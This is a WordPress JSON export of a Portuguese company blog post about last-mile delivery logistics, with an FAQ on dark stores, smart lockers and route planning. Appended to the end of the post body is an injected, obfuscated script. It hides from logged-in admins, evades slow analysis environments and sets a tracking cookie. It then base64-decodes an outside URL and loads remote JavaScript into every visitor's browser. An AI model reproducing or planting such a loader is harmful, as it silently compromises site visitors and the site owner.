column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][vc_column_text]\n<h2><span style=\"color: #4f953b;\">A last mile \u00e9 um momento crucial para garantir a satisfa\u00e7\u00e3o do cliente<\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Neste conte\u00fado, voc\u00ea pode conferir o que \u00e9 a <\/span><i><span style=\"font-weight: 400;\">last mile<\/span><\/i><span style=\"font-weight: 400;\"> e como ela impacta na cadeia log\u00edstica das empresas. Conheceu um pouco sobre outras duas defini\u00e7\u00f5es que acompanham esse conceito, al\u00e9m de conferir dicas para realizar a <\/span><b>otimiza\u00e7\u00e3o da sua \u201c\u00faltima milha\u201d<\/b><span style=\"font-weight: 400;\">.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Afinal, um processo eficiente e bem estruturado pode ser o diferencial entre um consumidor que defende a sua marca e um cliente decepcionado. Por isso, muitas empresas direcionam seus investimentos para proporcionar a melhor experi\u00eancia poss\u00edvel na etapa final das opera\u00e7\u00f5es.<\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row type=&#8221;full_width_background&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; advanced_gradient_angle=&#8221;0&#8243; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221; gradient_type=&#8221;default&#8221; shape_type=&#8221;&#8221;][vc_column column_padding=&#8221;padding-2-percent&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; centered_text=&#8221;true&#8221; background_color=&#8221;rgba(214,224,213,0.37)&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; background_image=&#8221;2707&#8243; background_image_position=&#8221;center bottom&#8221; background_image_loading=&#8221;default&#8221; column_shadow=&#8221;small_depth&#8221; column_border_radius=&#8221;10px&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; advanced_gradient_angle=&#8221;0&#8243; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; gradient_type=&#8221;default&#8221;][vc_row_inner content_placement=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; text_align=&#8221;left&#8221; row_position=&#8221;default&#8221; row_position_tablet=&#8221;inherit&#8221; row_position_phone=&#8221;inherit&#8221; overflow=&#8221;visible&#8221; pointer_events=&#8221;all&#8221;][vc_column_inner column_padding=&#8221;padding-2-percent&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;bottom&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; font_color=&#8221;#002626&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; advanced_gradient_angle=&#8221;0&#8243; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221; gradient_type=&#8221;default&#8221;][divider line_type=&#8221;No Line&#8221; custom_height=&#8221;5&#8243;][vc_column_text]\n<h4>N\u00e3o sente seguran\u00e7a na gest\u00e3o dos processos log\u00edsticos? Fale conosco para descobrir como podemos ajudar a sua empresa.<\/h4>\n[\/vc_column_text][divider line_type=&#8221;No Line&#8221; custom_height=&#8221;2vh&#8221;][nectar_btn size=&#8221;medium&#8221; open_new_tab=&#8221;true&#8221; button_style=&#8221;regular&#8221; button_color_2=&#8221;Accent-Color&#8221; color_override=&#8221;#4f953b&#8221; solid_text_color_override=&#8221;#ffffff&#8221; icon_family=&#8221;none&#8221; text=&#8221;Entre em contato com a Grin Store!&#8221; margin_top=&#8221;3%&#8221; margin_bottom=&#8221;3%&#8221; margin_left=&#8221;10%&#8221; margin_right=&#8221;10%&#8221; url=&#8221;https:\/\/www.grinstore.com.br\/contato.php&#8221;][\/vc_column_inner][\/vc_row_inner][\/vc_column][\/vc_row][vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][divider line_type=&#8221;No Line&#8221; custom_height=&#8221;25&#8243;][vc_column_text]<strong>Gostou do artigo?<\/strong> Compartilhe esse conte\u00fado com quem possa se interessar![\/vc_column_text][\/vc_column][\/vc_row][vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;]<div class=\"sharing-default-minimal\"><div class=\"nectar-social default\" data-position=\"left\" data-color-override=\"override\"><div class=\"nectar-social-inner\"><a class='facebook-share nectar-sharing' href='#' title='Share this'>  <i class='fa fa-facebook'><\/i> <span class='social-text'>Share<\/span> <\/a><a class='twitter-share nectar-sharing' href='#' title='Tweet this'> <i class='fa fa-twitter'><\/i> <span class='social-text'>Tweet<\/span> <\/a><a class='linkedin-share nectar-sharing' href='#' title='Share this'> <i class='fa fa-linkedin'><\/i> <span class='social-text'>Share<\/span> <\/a><a class='pinterest-share nectar-sharing' href='#' title='Pin this'> <i class='fa fa-pinterest'><\/i> <span class='social-text'>Pin<\/span> <\/a><\/div><\/div><\/div>[\/vc_column][\/vc_row][vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; id=&#8221;duvidas-frequentes-last-mile&#8221; advanced_gradient_angle=&#8221;0&#8243; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221; gradient_type=&#8221;default&#8221; shape_type=&#8221;&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][vc_column_text]\n<h2><span style=\"color: #4f953b;\">D\u00favidas Frequentes sobre a <em>last mile<\/em><\/span><\/h2>\n[\/vc_column_text][\/vc_column][\/vc_row][vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][toggles style=&#8221;default&#8221;][toggle color=&#8221;Default&#8221; title=&#8221;O que significa last mile?&#8221;][vc_column_text]A <em>last mile<\/em>, ou \u201c\u00faltima milha\u201d, \u00e9 a etapa final do processo de entrega das mercadorias adquiridas pelo cliente. \u00c9 o momento mais desafiador e custoso da opera\u00e7\u00e3o, pois precisa garantir a chegada dos produtos em perfeitas condi\u00e7\u00f5es para o consumidor.[\/vc_column_text][\/toggle][toggle color=&#8221;Default&#8221; title=&#8221;O que \u00e9 first mile, middle mile e last mile? Qual a diferen\u00e7a entre eles?&#8221;][vc_column_text]<span style=\"font-weight: 400;\">A diferen\u00e7a entre o <\/span><i><span style=\"font-weight: 400;\">first<\/span><\/i><span style=\"font-weight: 400;\">, <\/span><i><span style=\"font-weight: 400;\">middle <\/span><\/i><span style=\"font-weight: 400;\">e<\/span><i><span style=\"font-weight: 400;\"> last mile<\/span><\/i><span style=\"font-weight: 400;\"> \u00e9 a fase log\u00edstica em que acontecem.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">O <\/span><i><span style=\"font-weight: 400;\">first mile<\/span><\/i><span style=\"font-weight: 400;\"> \u00e9 a primeira jornada da mercadoria, ou seja, quando ela \u00e9 enviada do fabricante em dire\u00e7\u00e3o ao centro de distribui\u00e7\u00e3o. J\u00e1 a <\/span><i><span style=\"font-weight: 400;\">middle mile<\/span><\/i><span style=\"font-weight: 400;\"> \u00e9 o transporte entre diferentes centros de distribui\u00e7\u00e3o e\/ou dep\u00f3sitos de armazenamento. Por isso, \u00e9 uma etapa que dependendo do processo log\u00edstico, pode ser extinta. Por fim, a <\/span><i><span style=\"font-weight: 400;\">last mile<\/span><\/i><span style=\"font-weight: 400;\"> \u00e9 o processo da entrega ao consumidor.\u00a0<\/span>[\/vc_column_text][\/toggle][toggle color=&#8221;Default&#8221; title=&#8221;Como a last mile impacta a log\u00edstica?&#8221;][vc_column_text]<span style=\"font-weight: 400;\">Os erros e falhas nessa etapa podem aumentar os custos log\u00edsticos e atrasar as entregas. Isso reflete diretamente na satisfa\u00e7\u00e3o do consumidor, sendo assim um risco.<\/span>[\/vc_column_text][\/toggle][toggle color=&#8221;Default&#8221; title=&#8221;Qual a import\u00e2ncia de entender sobre a last mile?&#8221;][vc_column_text]<span style=\"font-weight: 400;\">Os custos do transporte do produto e o tempo de entrega, fatores que t\u00eam influ\u00eancia no pre\u00e7o do frete e no n\u00famero de vendas, s\u00e3o consequ\u00eancia do que acontece na <\/span><i><span style=\"font-weight: 400;\">last mile<\/span><\/i><span style=\"font-weight: 400;\">. Ent\u00e3o, otimizar as etapas dessa fase ajuda na redu\u00e7\u00e3o de custos, aumento das vendas e satisfa\u00e7\u00e3o do cliente.<\/span>[\/vc_column_text][\/toggle][toggle color=&#8221;Default&#8221; title=&#8221;Quais s\u00e3o os desafios da last mile?&#8221;][vc_column_text]<span style=\"font-weight: 400;\">Alguns dos desafios da <\/span><i><span style=\"font-weight: 400;\">last mile<\/span><\/i><span style=\"font-weight: 400;\"> s\u00e3o:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Tecnologia utilizada com pouca efici\u00eancia;<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Imprevistos na entrega, como chuva e obras;\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Restri\u00e7\u00f5es de rotas pela m\u00e1 qualidade das estradas e falta de seguran\u00e7a urbana;\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Falta de disponibilidade de entregadores terceirizados.<\/span><\/li>\n<\/ul>\n[\/vc_column_text][\/toggle][toggle color=&#8221;Default&#8221; title=&#8221;Como otimizar a opera\u00e7\u00e3o na last mile?&#8221;][vc_column_text]<span style=\"font-weight: 400;\">Algumas solu\u00e7\u00f5es para a otimiza\u00e7\u00e3o da <\/span><i><span style=\"font-weight: 400;\">last mile<\/span><\/i><span style=\"font-weight: 400;\"> envolvem tecnologia e planejamento, como:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Rastreamento do produto;<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Roteiriza\u00e7\u00e3o de entregas;<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Central de distribui\u00e7\u00e3o pr\u00f3xima aos clientes;<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Agendamento para a entrega;<\/span><\/li>\n<\/ul>\n<p><i><span style=\"font-weight: 400;\">Pick Up Points<\/span><\/i><span style=\"font-weight: 400;\">,<\/span> <span style=\"font-weight: 400;\">como por exemplo os <\/span><i><span style=\"font-weight: 400;\">smart lockers.<\/span><\/i>[\/vc_column_text][\/toggle][toggle color=&#8221;Default&#8221; title=&#8221;Qual a rela\u00e7\u00e3o entre fulfillment e last mile?&#8221;][vc_column_text]<span style=\"font-weight: 400;\">A din\u00e2mica do <\/span><a href=\"https:\/\/www.grinstore.com.br\/blog\/fulfillment-para-ecommerce\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">fulfillment<\/span><\/a><span style=\"font-weight: 400;\"> aplicada \u00e0 log\u00edstica consiste na integra\u00e7\u00e3o de todas as etapas visando maior efici\u00eancia do processo. Assim, todas as fases da opera\u00e7\u00e3o log\u00edstica s\u00e3o otimizadas, inclusive a <\/span><i><span style=\"font-weight: 400;\">last mile<\/span><\/i><span style=\"font-weight: 400;\">, resultando em diversas vantagens para o empreendimento.<\/span>[\/vc_column_text][\/toggle][toggle color=&#8221;Default&#8221; title=&#8221;Como uma Dark Store contribui para a last mile eficiente?&#8221;][vc_column_text]<span style=\"font-weight: 400;\">A Dark Store oferece diversas vantagens relacionadas a otimiza\u00e7\u00e3o do processo log\u00edstico e agilidade. Al\u00e9m disso, elas est\u00e3o localizadas pr\u00f3ximas ao endere\u00e7o de entrega do consumidor e s\u00e3o uma alternativa que encurta o processo log\u00edstico, dispensando a etapa do <\/span><i><span style=\"font-weight: 400;\">middle mile<\/span><\/i><span style=\"font-weight: 400;\"> e agilizando todo o processo de entrega. No caso da Dark Store da Grin Store ainda h\u00e1 outro fator que contribui para a efici\u00eancia da <\/span><i><span style=\"font-weight: 400;\">last mile<\/span><\/i><span style=\"font-weight: 400;\"> que \u00e9 a equipe pr\u00f3pria de entregadores.<\/span>[\/vc_column_text][\/toggle][toggle color=&#8221;Default&#8221; title=&#8221;Por que oferecer a op\u00e7\u00e3o de retirada em Smart Lockers?&#8221;][vc_column_text]<span style=\"font-weight: 400;\">O investimento em <\/span><i><span style=\"font-weight: 400;\">Pick Up Points<\/span><\/i><span style=\"font-weight: 400;\">, como os <\/span><i><span style=\"font-weight: 400;\">smart lockers<\/span><\/i><span style=\"font-weight: 400;\">, facilita a etapa de entrega da log\u00edstica, economizando tempo, dinheiro e oferecendo um servi\u00e7o mais r\u00e1pido ao cliente.<\/span>[\/vc_column_text][\/toggle][toggle color=&#8221;Default&#8221; title=&#8221;Quais s\u00e3o as tend\u00eancias dos pr\u00f3ximos anos para melhorar a last mile?&#8221;][vc_column_text]<span style=\"font-weight: 400;\">Algumas tend\u00eancias para os pr\u00f3ximos anos para otimizar a <\/span><i><span style=\"font-weight: 400;\">last mile<\/span><\/i><span style=\"font-weight: 400;\"> \u00e9 o aumento da utiliza\u00e7\u00e3o de Dark Stores, e tamb\u00e9m a realiza\u00e7\u00e3o das entregas em ve\u00edculos automatizados e drones. Al\u00e9m disso, como a evolu\u00e7\u00e3o das intelig\u00eancias artificiais est\u00e1 sendo r\u00e1pida, \u00e9 prov\u00e1vel que em breve surjam outras tecnologias para aprimorar e agilizar ainda mais os processos log\u00edsticos.\u00a0<\/span>[\/vc_column_text][\/toggle][\/toggles][\/vc_column][\/vc_row]<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>[vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243;&#8230;<\/p>\n","protected":false},"author":5,"featured_media":4935,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"none","_seopress_titles_title":"Last mile: onde a experi\u00eancia do cliente \u00e9 decidida!","_seopress_titles_desc":"Veja por que o last mile impacta custos, prazos e a satisfa\u00e7\u00e3o do cliente nas opera\u00e7\u00f5es log\u00edsticas e no e-commerce.","_seopress_robots_index":"","footnotes":""},"categories":[55,5],"tags":[],"class_list":{"0":"post-4933","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-estrategia","8":"category-logistica"},"_links":{"self":[{"href":"https:\/\/www.grinstore.com.br\/blog\/wp-json\/wp\/v2\/posts\/4933","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.grinstore.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.grinstore.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.grinstore.com.br\/blog\/wp-json\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"https:\/\/www.grinstore.com.br\/blog\/wp-json\/wp\/v2\/comments?post=4933"}],"version-history":[{"count":10,"href":"https:\/\/www.grinstore.com.br\/blog\/wp-json\/wp\/v2\/posts\/4933\/revisions"}],"predecessor-version":[{"id":103136,"href":"https:\/\/www.grinstore.com.br\/blog\/wp-json\/wp\/v2\/posts\/4933\/revisions\/103136"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.grinstore.com.br\/blog\/wp-json\/wp\/v2\/media\/4935"}],"wp:attachment":[{"href":"https:\/\/www.grinstore.com.br\/blog\/wp-json\/wp\/v2\/media?parent=4933"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.grinstore.com.br\/blog\/wp-json\/wp\/v2\/categories?post=4933"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.grinstore.com.br\/blog\/wp-json\/wp\/v2\/tags?post=4933"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}